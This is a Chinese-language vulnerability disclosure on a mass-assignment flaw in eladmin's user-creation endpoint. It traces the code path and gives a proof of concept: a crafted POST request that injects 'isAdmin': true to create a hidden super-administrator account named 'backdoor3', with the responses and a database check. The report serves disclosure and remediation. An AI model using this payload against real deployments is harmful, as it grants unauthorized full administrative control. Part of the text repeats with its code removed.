1. 漏洞概述
eladmin 的 UserController.createUser 接口存在 Mass Assignment 漏洞。拥有 user:add 权限的次级管理员可以在创建用户时注入 isAdmin=true 字段,使新用户获得超级管理员权限,绕过整个基于角色的权限控制体系。
该漏洞具有较高的隐蔽性:端点配置了 @PreAuthorize 权限注解,且业务逻辑中存在 checkLevel() 角色等级校验,表面上已经"安全"。但 isAdmin 是一个独立于角色系统的超级权限标记,不在 checkLevel() 的校验范围内。
2. 漏洞调用链
2.1 入口 — UserController.createUser
文件: eladmin-system/.../rest/UserController.java:108-116
@Log("新增用户")
@ApiOperation("新增用户")
@PostMapping
@PreAuthorize("@el.check('user:add')")
public ResponseEntity<Object> createUser(@Validated @RequestBody User resources){
checkLevel(resources); // [1] 仅校验角色等级
resources.setPassword(passwordEncoder.encode("123456")); // [2] 覆盖密码
userService.create(resources); // [3] 直接传入完整 Entity
return new ResponseEntity<>(HttpStatus.CREATED);
}
问题: @RequestBody User resources 接收完整的 User JPA Entity。checkLevel() 仅校验角色等级,不校验 isAdmin 字段。resources 被原封不动传入 Service 层。
2.2 等级校验 — checkLevel()
文件: eladmin-system/.../rest/UserController.java:203-209
private void checkLevel(User resources) {
Integer currentLevel = Collections.min(
roleService.findByUsersId(SecurityUtils.getCurrentUserId())
.stream().map(RoleSmallDto::getLevel).collect(Collectors.toList()));
Integer optLevel = roleService.findByRoles(resources.getRoles());
if (currentLevel > optLevel) {
throw new BadRequestException("角色权限不足");
}
}
问题: 该方法仅校验角色等级 (level) ——确保操作者不能给新用户分配比自己更高级别的角色。完全没有检查 isAdmin 字段。
2.3 持久化 — UserServiceImpl.create()
文件: eladmin-system/.../service/impl/UserServiceImpl.java:87-98
@Override
@Transactional(rollbackFor = Exception.class)
public void create(User resources) {
if (userRepository.findByUsername(resources.getUsername()) != null) {
throw new EntityExistException(User.class, "username", resources.getUsername());
}
if (userRepository.findByEmail(resources.getEmail()) != null) {
throw new EntityExistException(User.class, "email", resources.getEmail());
}
if (userRepository.findByPhone(resources.getPhone()) != null) {
throw new EntityExistException(User.class, "phone", resources.getPhone());
}
userRepository.save(resources); // ← 直接保存完整 Entity,isAdmin=true 被写入数据库
}
问题: userRepository.save(resources) 将 User Entity 的所有字段(包括 isAdmin)直接持久化到数据库,无任何字段过滤。
对比: 同一文件中的 update() 方法(行 102-144)采用了逐字段复制的方式,不会复制 isAdmin,因此 update 路径是安全的。这证明开发者有安全意识,但在 create() 路径上遗漏了。
2.4 未受保护的 Entity 字段 — User.isAdmin
文件: eladmin-system/.../domain/User.java:101-102
@ApiModelProperty(value = "是否为admin账号", hidden = true)
private Boolean isAdmin = false;
问题: isAdmin 字段仅标注了 @ApiModelProperty(hidden = true)(Swagger 文档隐藏),没有 @JSONField(deserialize=false) 或任何反序列化保护。fastjson2 作为 HTTP 消息转换器会正常将请求 JSON 中的 "isAdmin": true 绑定到该字段。
2.5 权限构建 — RoleServiceImpl.buildPermissions()
文件: eladmin-system/.../service/impl/RoleServiceImpl.java:174-184
@Override
public List<AuthorityDto> buildPermissions(UserDto user) {
String key = CacheKey.ROLE_AUTH + user.getId();
List<AuthorityDto> authorityDtos = redisUtils.getList(key, AuthorityDto.class);
if (CollUtil.isEmpty(authorityDtos)) {
Set<String> permissions = new HashSet<>();
// 如果是管理员直接返回
if (user.getIsAdmin()) {
permissions.add("admin"); // ← isAdmin=true 时直接返回 "admin"
return permissions.stream().map(AuthorityDto::new)
.collect(Collectors.toList());
}
// ... 正常的基于角色的权限解析(isAdmin=true 时不会执行到这里)
}
return authorityDtos;
}
问题: 当 isAdmin=true 时,直接返回 ["admin"] 权限,完全跳过基于角色的权限解析。
2.6 权限短路 — AuthorityConfig.check()
文件: eladmin-common/.../config/AuthorityConfig.java:36-41
@Service(value = "el")
public class AuthorityConfig {
public Boolean check(String ...permissions){
List<String> elPermissions = SecurityUtils.getCurrentUser().getAuthorities()
.stream().map(GrantedAuthority::getAuthority).collect(Collectors.toList());
return elPermissions.contains("admin") // ← "admin" 短路所有权限检查
|| Arrays.stream(permissions).anyMatch(elPermissions::contains);
}
}
问题: 所有 @PreAuthorize("@el.check('xxx')") 注解最终调用此方法。当权限列表包含 "admin" 时,contains("admin") 直接返回 true,所有端点的权限校验被短路。
完整攻击链
攻击者 POST /api/users {"isAdmin": true, ...}
↓
[UserController.createUser] @PreAuthorize("user:add") ✓ 通过
↓
[checkLevel()] 仅校验 roles.level → ✓ 通过(isAdmin 不在校验范围)
↓
[UserServiceImpl.create()] userRepository.save() → isAdmin=true 写入数据库
↓
新用户登录时:
↓
[RoleServiceImpl.buildPermissions()] getIsAdmin()=true → 返回 ["admin"]
↓
[AuthorityConfig.check()] contains("admin")=true → 所有 @PreAuthorize 短路
↓
新用户获得超级管理员完整权限
3. PoC 复现步骤
前置条件
- 通过 admin 创建 level=3 的 "DeptManager" 角色(id=6),并分配
user:add 权限
- 创建
deptadmin 用户,分配 DeptManager 角色
3.1 以 deptadmin 身份登录,获得 token
3.2 发送恶意请求(注入 isAdmin=true)
Request:
POST http://localhost:8000/api/users
Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJ1aWQiOiI4ZWEzM2IxNzgxZGU0YzQ5YjgwZTczMDQ4ZTk3M2FhMCIsInVzZXJJZCI6Mywic3ViIjoiZGVwdGFkbWluIn0.mk5WfKLsl-RKdMMXi3ppVNSU-wEuXXqedbHX2JUDBwPB6pXpN_3GZn6kZ3mBw3i7zuH29HwMJ0CcjbimxOAMXA
Content-Type: application/json
{
"username": "backdoor3",
"nickName": "Normal Looking User",
"email": "backdoor3@test.com",
"phone": "13900000088",
"enabled": true,
"isAdmin": true,
"roles": [
{
"id": 6
}
],
"dept": {
"id": 2
},
"jobs": [
{
"id": 1
}
]
}
Response:
HTTP/1.1 201 Created
Vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
Content-Length: 0
Date: Mon, 20 Apr 2026 09:22:40 GMT
用户创建成功,返回 201 Created。
3.3 权限对比验证
以 deptadmin 和 backdoor3 分别访问 /api/roles(需要 roles:list 权限):
deptadmin (同角色, isAdmin=false):
GET http://localhost:8000/api/roles
Authorization: Bearer <deptadmin-token>
HTTP/1.1 400 Bad Request
{"message":"权限不足","status":400}
backdoor3 (同角色, isAdmin=true):
GET http://localhost:8000/api/roles
Authorization: Bearer <backdoor3-token>
HTTP/1.1 200 OK
{"content":[{"createTime":"2018-11-23 11:04:37","dataScope":"全部","depts":[],"description":"-","id":1,"level":1,...}]}
结论: 相同角色配置下,isAdmin=true 使 backdoor3用户绕过了所有权限检查,获得超级管理员完整访问权。
3.4 数据库证明
SELECT user_id, username, is_admin FROM eladmin.sys_user
WHERE username IN ('admin', 'deptadmin', 'backdoor3');
+---------+-----------+----------+
| user_id | username | is_admin |
+---------+-----------+----------+
| 1 | admin | (true) |
| 3 | deptadmin | (false) |
| 5 | backdoor3 | (true) |
+---------+-----------+----------+
backdoor3 的 is_admin 值与 admin 一致,均为 true。
1. 漏洞概述
eladmin 的
UserController.createUser接口存在 Mass Assignment 漏洞。拥有user:add权限的次级管理员可以在创建用户时注入isAdmin=true字段,使新用户获得超级管理员权限,绕过整个基于角色的权限控制体系。该漏洞具有较高的隐蔽性:端点配置了
@PreAuthorize权限注解,且业务逻辑中存在checkLevel()角色等级校验,表面上已经"安全"。但isAdmin是一个独立于角色系统的超级权限标记,不在checkLevel()的校验范围内。2. 漏洞调用链
2.1 入口 —
UserController.createUser文件:
eladmin-system/.../rest/UserController.java:108-116问题:
@RequestBody User resources接收完整的UserJPA Entity。checkLevel()仅校验角色等级,不校验isAdmin字段。resources被原封不动传入 Service 层。2.2 等级校验 —
checkLevel()文件:
eladmin-system/.../rest/UserController.java:203-209问题: 该方法仅校验角色等级 (
level) ——确保操作者不能给新用户分配比自己更高级别的角色。完全没有检查isAdmin字段。2.3 持久化 —
UserServiceImpl.create()文件:
eladmin-system/.../service/impl/UserServiceImpl.java:87-98问题:
userRepository.save(resources)将UserEntity 的所有字段(包括isAdmin)直接持久化到数据库,无任何字段过滤。2.4 未受保护的 Entity 字段 —
User.isAdmin文件:
eladmin-system/.../domain/User.java:101-102问题:
isAdmin字段仅标注了@ApiModelProperty(hidden = true)(Swagger 文档隐藏),没有@JSONField(deserialize=false)或任何反序列化保护。fastjson2 作为 HTTP 消息转换器会正常将请求 JSON 中的"isAdmin": true绑定到该字段。2.5 权限构建 —
RoleServiceImpl.buildPermissions()文件:
eladmin-system/.../service/impl/RoleServiceImpl.java:174-184问题: 当
isAdmin=true时,直接返回["admin"]权限,完全跳过基于角色的权限解析。2.6 权限短路 —
AuthorityConfig.check()文件:
eladmin-common/.../config/AuthorityConfig.java:36-41问题: 所有
@PreAuthorize("@el.check('xxx')")注解最终调用此方法。当权限列表包含"admin"时,contains("admin")直接返回true,所有端点的权限校验被短路。完整攻击链
3. PoC 复现步骤
前置条件
user:add权限deptadmin用户,分配 DeptManager 角色3.1 以 deptadmin 身份登录,获得 token
3.2 发送恶意请求(注入
isAdmin=true)Request:
Response:
用户创建成功,返回
201 Created。3.3 权限对比验证
以 deptadmin 和 backdoor3 分别访问
/api/roles(需要roles:list权限):deptadmin (同角色, isAdmin=false):
backdoor3 (同角色, isAdmin=true):
结论: 相同角色配置下,
isAdmin=true使 backdoor3用户绕过了所有权限检查,获得超级管理员完整访问权。3.4 数据库证明
backdoor3的is_admin值与admin一致,均为true。